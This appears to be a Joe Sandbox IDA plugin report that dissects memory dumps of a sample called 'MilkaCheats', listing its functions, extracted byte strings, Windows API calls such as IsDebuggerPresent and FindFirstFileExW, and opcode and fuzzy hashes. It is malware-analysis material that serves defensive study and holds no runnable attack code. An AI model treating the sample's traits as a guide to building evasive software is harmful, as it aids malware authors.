Function 001168A4 Relevance: 21.7, Strings: 17, Instructions: 425COMMON

Download Yara Rule

Strings

G"A, xrefs: 00116D2A
31, xrefs: 00117109
lF, xrefs: 0011724F
SX, xrefs: 00117244
2A"_, xrefs: 001168E9
&+, xrefs: 0011718D
/E;C, xrefs: 001168DE
@C, xrefs: 00116D35
r3, xrefs: 00116D09
/$, xrefs: 00117182
m9O7, xrefs: 00116A97
pq, xrefs: 001173DB
O\, xrefs: 0011722E
_Y, xrefs: 00117239
*, xrefs: 00117198
h#j=, xrefs: 00116CDD
i'd!, xrefs: 00116CD2

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: G"A$&+$*$/E;C$/$$2A"_$@C$O\$SX$_Y$h#j=$i'd!$lF$m9O7$pq$r3$31
API String ID: 0-2321160229
Opcode ID: b8f049ba8096286ec80d62931fdf588bc9f44c0889362310616f571f3e6783b2
Instruction ID: 3ba6480c4f637bd6eefa8aecf51e9ba813b53f619b261f7a1cd397dcae0303f3
Opcode Fuzzy Hash: b8f049ba8096286ec80d62931fdf588bc9f44c0889362310616f571f3e6783b2
Instruction Fuzzy Hash: A842D8B414D3858AE374CF169581BCFBAE1BB92304F208E2DC2E95B255DB74814ACF93

Function 000FD030 Relevance: 20.4, Strings: 16, Instructions: 397COMMON

Download Yara Rule

Strings

<Y?[, xrefs: 000FD18F
jabc, xrefs: 000FD19F
7U9W, xrefs: 000FD187
8]S_, xrefs: 000FD197
P!N#, xrefs: 000FD11F
E-A/, xrefs: 000FD137
&A-C, xrefs: 000FD15F
dc, xrefs: 000FD1D0
>M"O, xrefs: 000FD177
6E+G, xrefs: 000FD167
I)^+, xrefs: 000FD12F
6, xrefs: 000FD26D
5Q<S, xrefs: 000FD17F
O9M;, xrefs: 000FD14F
M%E', xrefs: 000FD127
eI?K, xrefs: 000FD16F

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: &A-C$5Q<S$6$6E+G$7U9W$8]S_$<Y?[$>M"O$E-A/$I)^+$M%E'$O9M;$P!N#$dc$eI?K$jabc
API String ID: 0-600622405
Opcode ID: 5401dd7d73687538b39f8a60e941c4ee8bd7b6e3a78600276bbf727d0c8ab92a
Instruction ID: 00ec5d62ddf2ce750e35bcf0f535e0ae5a195159dd2f938a76e4c1588e35c41c
Opcode Fuzzy Hash: 5401dd7d73687538b39f8a60e941c4ee8bd7b6e3a78600276bbf727d0c8ab92a
Instruction Fuzzy Hash: 92D1247160C3958BC320CF24D4903AFBBE2ABD2704F18892EE5D54B751D775D90AEB92

Function 0010DFB0 Relevance: 17.8, Strings: 13, Instructions: 1566COMMON

Download Yara Rule

Strings

3210, xrefs: 0010E1C0
RdOh, xrefs: 0010F3A4
w`k, xrefs: 0010EA2A
mdOh, xrefs: 0010F3DA
X[Z], xrefs: 0010E3CD
,/.1, xrefs: 0010E4A5
4761, xrefs: 0010E416
8;:5, xrefs: 0010E40B
dgfi, xrefs: 0010E3E5
L, xrefs: 0010E7C5
&?3, xrefs: 0010E1B5
h, xrefs: 0010EB52
8?, xrefs: 0010EE29

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: &?3$,/.1$3210$4761$8;:5$8?$L$RdOh$X[Z]$dgfi$h$mdOh$w`k
API String ID: 0-3944949542
Opcode ID: 27a7076405f7ae26ad8b1691d0a2ed41cf52535f449cd577730d3fbcc9e02e51
Instruction ID: f40a927ca9f87adfeab739f33eb40bee4736c4fb55e5707dbbffaee027026a89
Opcode Fuzzy Hash: 27a7076405f7ae26ad8b1691d0a2ed41cf52535f449cd577730d3fbcc9e02e51
Instruction Fuzzy Hash: 6DB2D07160C3818BD734CF25C4917ABBBE2AFD6304F188D6DE4C98B292D7B58905CB92

Function 000EF6E5 Relevance: 16.0, Strings: 12, Instructions: 1008COMMON

Download Yara Rule

Strings

0000, xrefs: 000F0BF6
0000, xrefs: 000F0C4E
@, xrefs: 000F0DF2
0, xrefs: 000F0875
0000, xrefs: 000F0BDA
0, xrefs: 000F0571
0000, xrefs: 000F0BEF
0, xrefs: 000F061F
i, xrefs: 000F0ED0
0000, xrefs: 000F0BE1
0000, xrefs: 000F0BE8
0000, xrefs: 000F0BFD

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 0$0$0$0000$0000$0000$0000$0000$0000$0000$@$i
API String ID: 0-3385986306
Opcode ID: 86df71254f412a11028d550705ac35df7369e2e6aca90a7abbc0bff00b8b010c
Instruction ID: c541a0be6efafc79654246c2e0d0d5062919f6a888884b5743c5197600410779
Opcode Fuzzy Hash: 86df71254f412a11028d550705ac35df7369e2e6aca90a7abbc0bff00b8b010c
Instruction Fuzzy Hash: F382F275A0D3858FD718CF28C49036ABBE1AB85304F18CA6DE6DA87792D374DD05DB82

Function 00117D02 Relevance: 14.0, Strings: 11, Instructions: 220COMMON

Download Yara Rule

Strings

o$ , xrefs: 0011808F
#g>#, xrefs: 00117E91
Y^S, xrefs: 0011810D, 0011811D
o$ , xrefs: 00117E7B
UjcW, xrefs: 00117E4F
UjcW, xrefs: 00118063
$*- , xrefs: 00117E70
#g>#, xrefs: 001180A5
YRTP, xrefs: 00117E5A
Y^S, xrefs: 00117EED, 00117F00
$*- , xrefs: 00118084

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: Y^S$Y^S$#g>#$#g>#$$*- $$*- $UjcW$UjcW$YRTP$o$ $o$
API String ID: 0-2828925941
Opcode ID: e80b0cc4059dca3e0b6f5f179f323d24d1a659c15c83aa546cd6fdcad424a146
Instruction ID: 3abf93f93d61eb77426b10fca0249c3b5e0da36510406cf68925d428b0ece3a0
Opcode Fuzzy Hash: e80b0cc4059dca3e0b6f5f179f323d24d1a659c15c83aa546cd6fdcad424a146
Instruction Fuzzy Hash: CC81BF3164C3858BD7388FA484913EBBBF1AF96340F14996DD4DA8B382D7309949DB62

Function 000DE2D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,,00000002,00000000,?,?,?,000DE5EE,?,00000000), ref: 000DE369
GetLocaleInfoW.KERNEL32(?,20001004,,00000002,00000000,?,?,?,000DE5EE,?,00000000), ref: 000DE392
GetACP.KERNEL32(?,?,000DE5EE,?,00000000), ref: 000DE3A7

Strings

ACP, xrefs: 000DE2EE
OCP, xrefs: 000DE324
, xrefs: 000DE383, 000DE3A0, 000DE35A, 000DE373, 000DE35D, 000DE386

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP$
API String ID: 2299586839-755115278
Opcode ID: 17cdbac1c65c1084c85c7fb3862f2bf14850628126215e89a250d061943e434e
Instruction ID: a313f572fcde340f5b5853a2211364eb5c24712f214846039d5b2382732b54c3
Opcode Fuzzy Hash: 17cdbac1c65c1084c85c7fb3862f2bf14850628126215e89a250d061943e434e
Instruction Fuzzy Hash: E021B822A00380EBDB74AF55C949ABB73E6AB50B54B5A4426E94ADF300E732DF40D370

Function 000EF410 Relevance: 10.2, Strings: 7, Instructions: 1448COMMON

Download Yara Rule

Strings

, xrefs: 000F1C10
, xrefs: 000F1BFB
, xrefs: 000F1BED
, xrefs: 000F1C02
, xrefs: 000F1BF4
, xrefs: 000F1C86
, xrefs: 000F1C09

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $
API String ID: 0-935225467
Opcode ID: b254aa17cc46d80bf86c8579fc0bf1715e3884e9fc4ec05af717202ccc13fb02
Instruction ID: cf78bafc5f4fd8ff70626d320a1130145519996e21a26f2f62589d437de8e155
Opcode Fuzzy Hash: b254aa17cc46d80bf86c8579fc0bf1715e3884e9fc4ec05af717202ccc13fb02
Instruction Fuzzy Hash: 58A22431608386CFC728CF28C4942BABBE2AFD5354F18862DE5958BB91E735DC45DB81

Function 000DF175 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 000DF359

Strings

1#SNAN, xrefs: 000DF281
1#IND, xrefs: 000DF27A
1#INF, xrefs: 000DF2AB
1#QNAN, xrefs: 000DF288

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d312b11b7a29281cb47d62251e1854f02f27d653fa6dafc5e08d9f0bd033e3b0
Instruction ID: ad21ff2f7c26683374adfea19baeae78cda5418de487442abb5a9b375bffc063
Opcode Fuzzy Hash: d312b11b7a29281cb47d62251e1854f02f27d653fa6dafc5e08d9f0bd033e3b0
Instruction Fuzzy Hash: FCD21971E086698FDB65CF28DD40BEAB7B5EB44304F1441EAD84EE7240DB74AE818F51

Function 000FBE90 Relevance: 7.9, Strings: 6, Instructions: 355COMMON

Download Yara Rule

Strings

yleh, xrefs: 000FBFEA
@ffI, xrefs: 000FC2A1
itkj, xrefs: 000FBFF2
q`h}, xrefs: 000FBFE2
uw, xrefs: 000FC181
xy, xrefs: 000FC2B9

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: @ffI$itkj$q`h}$xy$yleh$uw
API String ID: 0-3689917334
Opcode ID: e20f88a561601b5f4ca72019cf5c033d39b5832eb0a3cf68ba31b152de778407
Instruction ID: 5c5cc598524f123f5cfc10db71aa3fd6d32e6fb8d190ed283f7568aab79fa164
Opcode Fuzzy Hash: e20f88a561601b5f4ca72019cf5c033d39b5832eb0a3cf68ba31b152de778407
Instruction Fuzzy Hash: F7C1F1B02083889FE314DF65D88176FBBE4EBD2348F14892CE1D58B392D7798509CB96

Function 000DE4A5 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000D4200: GetLastError.KERNEL32(?,00000008,000D9825,00000000,000CB670), ref: 000D4204
Part of subcall function 000D4200: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 000D42A6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 000DE5B1
IsValidCodePage.KERNEL32(00000000), ref: 000DE5FA
IsValidLocale.KERNEL32(?,00000001), ref: 000DE609
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 000DE651
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 000DE670

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 8b54e9aa391688c713403713be65fadef7e64e73dd09b10a55c29f52956bb76f
Instruction ID: 7f60f70140d62dd80280ef4def0c485419fb0faeac91b6381aa6d5c53ec747b2
Opcode Fuzzy Hash: 8b54e9aa391688c713403713be65fadef7e64e73dd09b10a55c29f52956bb76f
Instruction Fuzzy Hash: E0518F71A00745ABEB50EFA5EC81ABE77F8AF04744F18446AE910EF295EB70D9408B71

Function 000DDB41 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000D4200: GetLastError.KERNEL32(?,00000008,000D9825,00000000,000CB670), ref: 000D4204
Part of subcall function 000D4200: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 000D42A6

GetACP.KERNEL32(?,?,?,?,?,?,000D22E5,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 000DDC02
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,000D22E5,?,?,?,00000055,?,-00000050,?,?), ref: 000DDC2D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 000DDD90

Strings

utf8, xrefs: 000DDCFF

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 14f0393ada8af5ab1f540883df9a20f0159d1b152dcbeec3cafda01dd7f5e0a0
Instruction ID: 06b86b03346fafcaa6d0867307113521f5948e8027fe27f881f017e0d3d6b8a9
Opcode Fuzzy Hash: 14f0393ada8af5ab1f540883df9a20f0159d1b152dcbeec3cafda01dd7f5e0a0
Instruction Fuzzy Hash: D371D371A04306AADB24AB75CC46BBA77E9EF44714F14446BF505DB382EBB0E940C774

Function 0012D430 Relevance: 6.9, Strings: 5, Instructions: 644COMMON

Download Yara Rule

Strings

InA>, xrefs: 0012D790
InA>, xrefs: 0012D4D0
"#<, xrefs: 0012D564
f, xrefs: 0012D654
8977, xrefs: 0012D5CE

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: "#<$8977$InA>$InA>$f
API String ID: 0-3216925240
Opcode ID: 4390526fb2d9361e3e861b090892f1eaa3d55a8709e4123d052abd61ee78d48e
Instruction ID: 83f6f897595d3db07a1e416046051c59fdc96e2492095f2faaa22e0faf8790a9
Opcode Fuzzy Hash: 4390526fb2d9361e3e861b090892f1eaa3d55a8709e4123d052abd61ee78d48e
Instruction Fuzzy Hash: E522B1756083519FC718CF29E890A2BBBE2BFC9314F298A2DF89587391D734D855CB42

Function 00114432 Relevance: 6.5, Strings: 5, Instructions: 224COMMON

Download Yara Rule

Strings

W, xrefs: 001146CD
, xrefs: 00114442
7, xrefs: 00114447
7, xrefs: 0011444C
8, xrefs: 0011443D

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: $7$7$8$W
API String ID: 0-4210289531
Opcode ID: b84917e3046d0e9ff34ea9dff3210f059944da5bea755bfecf8ed8586c0b4526
Instruction ID: 37e1f35e59c946589e3f8a617d325cb3eefb805ec8a87b0b81449efb60961ddb
Opcode Fuzzy Hash: b84917e3046d0e9ff34ea9dff3210f059944da5bea755bfecf8ed8586c0b4526
Instruction Fuzzy Hash: 9081C57260C7808BD328CA3DC85539BBBD2ABD5328F1D8A2DE5E5873D2D7788845C742

Function 000D8823 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 000D88B0

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 377daaca5f40ff0bab8c76c66dec3116f3cd0f311fe1383518dd9434e06cd4a3
Instruction ID: 3eaedc38190d0fdc2f9bbedb7d08626f8941205fb8e7e3627f47a0380c302d83
Opcode Fuzzy Hash: 377daaca5f40ff0bab8c76c66dec3116f3cd0f311fe1383518dd9434e06cd4a3
Instruction Fuzzy Hash: 44B10272A003459FEB258F68C891BFEBBE5EF55314F18816BE845AB342DA349D01C7B1

Function 000DB239 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 000DB329
FindNextFileW.KERNEL32(00000000,?), ref: 000DB41D
FindClose.KERNEL32(00000000), ref: 000DB45C
FindClose.KERNEL32(00000000), ref: 000DB48F

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: ca17a6c517a96d0795f690f0f44bd832864b2c3515e43ede4314953752c1c877
Instruction ID: dc820255847f1e01925d35832b7b6a94106dc711285bb5cbd44433719ed4a6e2
Opcode Fuzzy Hash: ca17a6c517a96d0795f690f0f44bd832864b2c3515e43ede4314953752c1c877
Instruction Fuzzy Hash: FA71C4759053689EDF60EF648C89AFEB7B9AF05304F1541DAE448A7312DB358EC49F20

Function 000C777F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 000C778B
IsDebuggerPresent.KERNEL32 ref: 000C7857
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 000C7870
UnhandledExceptionFilter.KERNEL32(?), ref: 000C787A

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ad6c37f4942485ad8a7463fd3be0afcfb481515de777c3c6b03cbe76614946ba
Instruction ID: 7098c7b6664491901188d75b757daa66a064b4781595bd9d9688a54ba1e5279c
Opcode Fuzzy Hash: ad6c37f4942485ad8a7463fd3be0afcfb481515de777c3c6b03cbe76614946ba
Instruction Fuzzy Hash: 6731F775D052189BDF60EFA4D989BCDBBB8BF08700F1041AAE50CAB250EB759A85CF45

Function 0011ECB9 Relevance: 5.3, Strings: 4, Instructions: 288COMMON

Download Yara Rule

Strings

{{up, xrefs: 0011EED6
o~{q, xrefs: 0011EECF
lcw|<a, xrefs: 0011F6A6
w|<a, xrefs: 0011F65F

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

